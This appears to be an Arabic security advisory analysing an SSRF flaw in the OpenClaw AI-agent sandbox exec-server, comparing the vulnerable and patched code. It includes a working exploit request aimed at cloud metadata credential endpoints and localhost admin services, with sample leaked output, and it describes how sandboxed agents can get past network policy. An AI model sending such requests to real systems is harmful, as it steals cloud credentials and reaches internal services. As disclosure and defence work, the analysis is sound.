
تحليل متعمق لـ CVE-2026-62201: تجاوز سياسة الشبكة في صندوق الحماية OpenClaw exec-server (SSRF). السبب الجذري، الكود القابل للاستغلال مقابل الكود المُصحح، الاستغلال، الاكتشاف، والمعالجة.
الخطورة: عالية · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (تزوير الطلبات من جانب الخادم)
| الحقل | القيمة |
|---|---|
| الاستشارة الأمنية | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| المنتج | OpenClaw (حزمة npm openclaw) — مكوّن exec-server في بيئة العزل |
| الإصدارات المتأثرة | openclaw < 2026.6.6 |
| الإصدار المُصحَّح | 2026.6.6 والإصدارات الأحدث |
| السبب الجذري | غياب التحقق من SSRF في مساعد HTTP المدمج في exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| الالتزام المُصحِّح | 21410d1c — "fix(codex): guard sandbox http requests" |
| ناقل الهجوم | طلب HTTP POST إلى معالج http/request في exec-server مع عنوان URL يتحكم به المهاجم |
| الأثر | يمكن لمستدعٍ بصلاحيات منخفضة الوصول إلى وجهات الشبكة الداخلية (بيانات السحابة الوصفية، عناوين IP الخاصة، خدمات localhost) التي كان ينبغي لسياسة شبكة OpenClaw حظرها |
OpenClaw هي منصة وكلاء ذكاء اصطناعي يعرض فيها مكوّن exec-server في بيئة العزل مساعد طلبات HTTP يستخدمه الوكلاء لإجراء استدعاءات ويب صادرة. الإصدارات السابقة لـ 2026.6.6 صدرت مع هذا المساعد بدون أي حماية من SSRF: يمكن لمستدعٍ بثقة أقل — أي وكيل أو أداة أو مسار إدخال تعتبره المنصة أقل ثقة من مشغّل البوابة — إرسال عنوان URL عشوائي وجعل exec-server يجلبه من داخل شبكة المضيف.
فحوصات سياسة الشبكة المطبَّقة على الخروج المباشر من بيئة العزل لم تكن مطبَّقة عندما تمر الطلبات عبر واجهة HTTP الخاصة بـ exec-server. هذا التناقض هو الثغرة: عمل exec-server كوكيل HTTP غير مقيد إلى الشبكة الداخلية.
عندما يشغّل OpenClaw وكيل Codex في بيئة عزل، يبدأ خادم exec-server محليًا (extensions/codex/src/app-server/sandbox-exec-server.ts) يستضيف طرق JSON-RPC عبر ناقل WebSocket/HTTP. إحدى تلك الطرق، http/request، تتيح للوكيل جلب عناوين URL. يمرر التنفيذ الطلب عبر سكربت Python مدمج صغير — SANDBOX_HTTP_REQUEST_SCRIPT — الذي يقوم بعمل urllib الفعلي.
معالج الطلب موجود في extensions/codex/src/app-server/sandbox-exec-server/http.ts.
استلم مساعد Python عنوان URL وفحص المخطط فقط:
# From [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abridged)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
هذه هي البوابة بأكملها. لم يكن هناك:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ كانت تُتبع بشكل أعمىالنتيجة: {"method":"GET","url":"http://<internal-host>/"} أعادت نص الاستجابة الداخلية إلى المستدعي. كان exec-server وكيلًا مفتوحًا إلى شبكة المضيف.
أضاف الالتزام 21410d1c دفاعًا متعمقًا على الطبقتين:
الطبقة 1 — فحص مسبق في TypeScript (assertSandboxHttpRequestTargetAllowed في http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
الطبقة 2 — تقوية مساعد Python (assert_url_allowed في السكربت المدمج):
localhost, localhost.localdomain, metadata.google.internal, بالإضافة إلى اللواحق *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, قياس الأداء 198.18.0.0/15, التوثيق 2001:db8::/32, والمزيدipaddress: loopback, private, link-local, multicast, reserved, unspecifiedGuardedRedirectHandler: كل خطوة إعادة توجيه تعيد تشغيل assert_url_allowed قبل متابعتها::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, وISATAP ويُفحص عنوان IPv4 المضمّن فيهاdef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 مع تمكين exec-server في بيئة العزلhttp/request (تعامل المنصة هذا كوصول بصلاحيات منخفضة — مثل إضافة أو أداة أو مسار إدخال، وليس مشغّل بوابة)الخطوة 1 — إرسال طلب يستهدف خدمة داخلية:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
الخطوة 2 — الاستجابة القابلة للاستغلال (HTTP 200):
جلب exec-server عنوان URL الداخلي وأعاد النص إلى المستدعي — ملفوفًا بـ base64 كـ bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
بعد فك الترميز:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
الخطوة 3 — الاستجابة بعد التصحيح (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
الوجهة الداخلية غير قابلة للوصول عبر exec-server في الإصدارات المُصحَّحة.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → بيانات اعتماد IAMhttp://127.0.0.1:<port>/ لاستهداف واجهات إدارة غير مصادق عليها في نفس المضيفCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 عالية
تأطير الاستشارة مهم: نموذج المشغّل الموثوق في OpenClaw يفترض أن مشغّلي البوابة موثوقون. الخلل هو أن سطحًا بثقة أقل (إضافات، أدوات، مسارات إدخال) يمكنه الوصول إلى وجهات كان ينبغي للسياسة حظرها.